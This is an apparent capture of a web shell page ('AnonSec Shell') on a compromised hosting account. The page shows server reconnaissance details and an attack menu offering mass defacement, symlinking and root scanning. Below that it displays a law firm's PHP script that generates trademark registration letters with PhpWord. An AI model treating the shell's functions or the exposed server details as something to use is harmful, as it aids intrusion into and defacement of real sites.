AnonSec Shell
Server IP : 104.21.37.246  /  Your IP : 104.23.243.33   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/cp648411/public_html/ilawasia.onnud20.com/Ip/Maintain/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cp648411/public_html/ilawasia.onnud20.com/Ip/Maintain/_completion.php
<?php

use PhpOffice\PhpWord\Style\Font;
use PhpOffice\PhpWord\Shared\Converter;
use PhpOffice\PhpWord\Style\TablePosition;

include_once 'Sample_Header.php';
$data = $_POST;

$data_r = $search_db->ReportFiling($data['CaseId']);


// New Word Document
//echo date('H:i:s') , ' Create new PhpWord object' , EOL;

$languageEnGb = new \PhpOffice\PhpWord\Style\Language(\PhpOffice\PhpWord\Style\Language::EN_GB);

$phpWord = new \PhpOffice\PhpWord\PhpWord();
$phpWord->getSettings()->setThemeFontLang($languageEnGb);

$fontStyleName = 'rStyle';
$phpWord->addFontStyle($fontStyleName, ['bold' => true, 'italic' => true, 'size' => 11, 'allCaps' => true, 'doubleStrikethrough' => true]);

$paragraphStyleName = 'pStyle';
$phpWord->addParagraphStyle($paragraphStyleName, ['alignment' => \PhpOffice\PhpWord\SimpleType\Jc::CENTER, 'spaceAfter' => 100]);

$fontStyleName_newB = 'nStyleB';
$phpWord->addFontStyle($fontStyleName_newB, ['bold' => true, 'size' => 11, 'allCaps' => false]);

$fontStyleName_new = 'nStyle';
$phpWord->addFontStyle($fontStyleName_new, ['size' => 11, 'allCaps' => false ]);

$phpWord->addTitleStyle(1, ['bold' => true], ['spaceAfter' => 240]);

$multipleTabsStyleName = 'multipleTab';
$phpWord->addParagraphStyle(
    $multipleTabsStyleName,
    [
        'tabs' => [
            new \PhpOffice\PhpWord\Style\Tab('left', 1550),
            new \PhpOffice\PhpWord\Style\Tab('center', 3200),
            new \PhpOffice\PhpWord\Style\Tab('right', 5300),
        ],
    ]
);


// New portrait section
$section = $phpWord->addSection();

// Image
$section->addImage('../../Assets/logo_blue-02.jpg', ['width' => 450, 'height' => 80]);

// text
$ClientRef = "";
$textClientRef = $section->addTextRun();
$textClientRef->addText('Client Ref: '."\t\t", $fontStyleName_newB);
$textClientRef->addText($ClientRef, $fontStyleName_new);

$OurRef = @$data['CaseReference'];
$textOurRef = $section->addTextRun();
$textOurRef->addText('Our Ref: '."\t\t", $fontStyleName_newB);
$textOurRef->addText($OurRef, $fontStyleName_new);

$section->addTextBreak();

$ByEmail = "";
$textByEmail = $section->addTextRun();
$textByEmail->addText('By Email: '."\t\t", $fontStyleName_newB);
$textByEmail->addText($ByEmail, $fontStyleName_new);

// Two text break
$section->addTextBreak(2);

$dateReport = date("d F Y");
$section->addText($dateReport, $fontStyleName_new);

// Two text break
$section->addTextBreak();
if(@$data['Owner']!=''){
  $Owner = @$data['Owner'];
  $OwnerAddress = @$data['OwnerAddress'];
  $section->addText($Owner, $fontStyleName_newB);
  $section->addText($OwnerAddress, $fontStyleName_newB);
  $section->addTextBreak();
}

$Attention = "";
$textAttention = $section->addTextRun();
$textAttention->addText('Attention: '."\t\t\t", $fontStyleName_newB);
$textAttention->addText($Attention, $fontStyleName_new);

$Re = @$data['Title'];
$textRe = $section->addTextRun();
$textRe->addText('Re: '."\t\t\t", $fontStyleName_newB);
$textRe->addText($Re, $fontStyleName_new);
$section->addTextBreak();

$section->addText('Dear ,', $fontStyleName_new);
//$section->addText('We have attended to the filing of the above-captioned trademark. Please find the details as follows:', $fontStyleName_new);

$Country = $data['CountryName'];
$textCountry = $section->addTextRun();
$textCountry->addText('Country: '."\t\t\t", $fontStyleName_newB);
$textCountry->addText($Country, $fontStyleName_new);
$section->addTextBreak();
//$section->addText("Multiple Tabs:\tOne\tTwo\tThree", null, $multipleTabsStyleName);


$Mark = "";
$textMark = $section->addTextRun();
$textMark->addText('Mark:'."\t\t\t\t", $fontStyleName_newB);
//$textMark->addImage('../Uploads'.$data['FilePath'], ['width' => 100, 'height' => 80]);
$textMark->addImage('../../Assets/Image-test.png', ['width' => 100]);
$section->addTextBreak(2);

$Class = "";
if(@$data_r['classes']!== null){
  $c = count($data_r['classes']);
  foreach ($data_r['classes'] as $key => $value) {
    if($Class==""){
      $Class = $value['ClassesCode'];
    }elseif($key!=$c) {
      $Class = $Class.",".$value['ClassesCode'];
    }else {
      $Class = $Class.$value['ClassesCode'];
    }
  }
}
$textClass = $section->addTextRun();
$textClass->addText('Class: '."\t\t\t", $fontStyleName_newB);
$textClass->addText($Class, $fontStyleName_new);
$section->addTextBreak();

$Applicant = "";
$Address = "";

foreach ($data_r['names'] as $key => $value) {
  if($value['NamesTypeId']==3){
    $Applicant = $value['NamesName'];
    $Address = $value['PostalAddress'];
  }
}

$textApplicant = $section->addTextRun();
$textApplicant->addText('Applicant: '."\t\t\t", $fontStyleName_newB);
$textApplicant->addText($Applicant, $fontStyleName_new);
$section->addTextBreak();

$textAddress = $section->addTextRun();
$textAddress->addText('Address: '."\t\t\t", $fontStyleName_newB);
$textAddress->addText($Address, $fontStyleName_new);
$section->addTextBreak();

$ApplicationNo = "";
$RegistrationNo = "";
$RegistrationDate = "";
if(@$data_r['CaseOfficial']!== null){
  foreach ($data_r['CaseOfficial'] as $key => $value) {
    if($value['OfficialNumberTypeId']==1){
      $ApplicationNo = $value['OfficialNo'];
    }
    if($value['OfficialNumberTypeId']==2){
      $RegistrationNo = $value['OfficialNo'];
    }
  }
}

$textApplicationNo = $section->addTextRun();
$textApplicationNo->addText('Application No.: '."\t\t", $fontStyleName_newB);
$textApplicationNo->addText($ApplicationNo, $fontStyleName_new);
$section->addTextBreak();

$textRegistrationNo = $section->addTextRun();
$textRegistrationNo->addText('Registration No.: '."\t\t", $fontStyleName_newB);
$textRegistrationNo->addText($RegistrationNo, $fontStyleName_new);
$section->addTextBreak();

$FilingDate = "";
$textFilingDate = $section->addTextRun();
$textFilingDate->addText('Filing Date: '."\t\t\t", $fontStyleName_newB);
$textFilingDate->addText($FilingDate, $fontStyleName_new);
$section->addTextBreak();


$textRegistrationDate = $section->addTextRun();
$textRegistrationDate->addText('Registration Date: '."\t\t", $fontStyleName_newB);
$textRegistrationDate->addText($RegistrationDate, $fontStyleName_new);
$section->addTextBreak();

$IssuanceDate="";
$textIssuanceDate = $section->addTextRun();
$textIssuanceDate->addText('Issuance Date: '."\t\t\t", $fontStyleName_newB);
$textIssuanceDate->addText($IssuanceDate, $fontStyleName_new);
$section->addTextBreak();

$ExpiryDate="";
$textExpiryDate = $section->addTextRun();
$textExpiryDate->addText('Expiry Date: '."\t\t\t", $fontStyleName_newB);
$textExpiryDate->addText($ExpiryDate, $fontStyleName_new);
$section->addTextBreak();

$RenewalPeriod="-";
$textRenewalPeriod = $section->addTextRun();
$textRenewalPeriod->addText('Renewal Period: ', $fontStyleName_newB);
$textRenewalPeriod->addText($RenewalPeriod, $fontStyleName_new);
$section->addTextBreak();

$ExpiryGracePeriod="[TH]";
$ExpiryGracePeriod2="6 months after the expiry date";
$ExpiryGracePeriod3="(Please note that a surcharge of 20 percent of the government ";
$ExpiryGracePeriod4="renewal fee must be paid for renewal during grace period.)";
$textExpiryGracePeriod = $section->addTextRun();
$textExpiryGracePeriod->addText('Expiry Grace Period: '."\t\t\t", $fontStyleName_newB);
$textExpiryGracePeriod->addText($ExpiryGracePeriod, $fontStyleName_new);
$section->addText("\t\t\t".$ExpiryGracePeriod2, $fontStyleName_new);
$section->addText("\t\t\t".$ExpiryGracePeriod3, $fontStyleName_new);
$section->addText("\t\t\t".$ExpiryGracePeriod4, $fontStyleName_new);

$section->addTextBreak();

$textDetail1 = "We are pleased to confirm the registration of the above-referenced mark.";
$textDetail2 = "We attach for your file a scanned copy of the Certificate of Trademark Registration (Registration Certificate) issued by the Department of Intellectual Property along with its English translation.  The registration of this mark will be valid for 10 years from the Registration Date. ";
$textDetail3 = "The registration must be renewed every 10 years, and the application for renewal can be made within three months before the Expiry Date or within the renewal grace period of six months following the Expiry Date. A surcharge of 20 percent of the government renewal fees must be paid for renewal during grace period. ";
$textDetail4 = "We will remind you that the renewal is due close to the actual date of renewal. However, we recommend that you also maintain your own records of the due date. Please notify us if the owner changes its name or address. ";
$textDetail5 = "We are sending you the original Registration Certificate of this trademark by courier.  Please kindly acknowledge receipt of the original by return email.";
$textDetail6 = "Should you have any question in relation to the registration of this mark or any other matter, please do not hesitate to contact us.";
$textDetail7 = "Yours sincerely,";
$textDetail8 = "ILAWASIA CO., LTD.";
$textDetail9 = " / ";

$section->addText($textDetail1, $fontStyleName_new);
$section->addText($textDetail2, $fontStyleName_new);
$section->addText($textDetail3, $fontStyleName_new);
$section->addText($textDetail4, $fontStyleName_new);
$section->addText($textDetail5, $fontStyleName_new);
$section->addText($textDetail6, $fontStyleName_new);
$section->addText($textDetail7, $fontStyleName_new);
$section->addText($textDetail8, $fontStyleName_newB);
$section->addTextBreak();
$section->addText($textDetail9, $fontStyleName_newB);

// Footer
// Add footer
$cellHEnd = ['alignment' => \PhpOffice\PhpWord\SimpleType\Jc::END];
$footer = $section->addFooter();
$footer->addPreserveText('Page {PAGE} of {NUMPAGES}.', null, ['alignment' => \PhpOffice\PhpWord\SimpleType\Jc::END]);
$footer->addLine(
    [
        'width' => \PhpOffice\PhpWord\Shared\Converter::cmToPixel(12),
        'height' => \PhpOffice\PhpWord\Shared\Converter::cmToPixel(0),
        'positioning' => 'absolute',
    ]
);
//$footer = $footer->addTextRun();
$Co1 = "ILAWASIA CO., LTD. (Thailand)";
$Co2 = "ILAW MYANMAR CO., LTD. (Myanmar)";
$Co3 = "I.L. ASIA CO., LTD. (Cambodia)";


$footer->addPreserveText('BANGKOK  ●  YANGON  ●  PHNOM PENH', ['size' => 10], [ 'alignment' => \PhpOffice\PhpWord\SimpleType\Jc::END]);
$footer->addPreserveText($Co1.' | '.$Co2.' | '.$Co3, ['size' => 8], $cellHEnd);



// Save file
//$_filename = basename(__FILE__, '.php');
$_filename = @$data['CaseReference']."_Completion Report";
$_pathfile = "results/".$_filename.".docx";
echo $_pathfile;
write($phpWord, $_filename, $writers);
if (!CLI) {
    include_once 'Sample_Footer.php';
}

Anon7 - 2022
AnonSec Team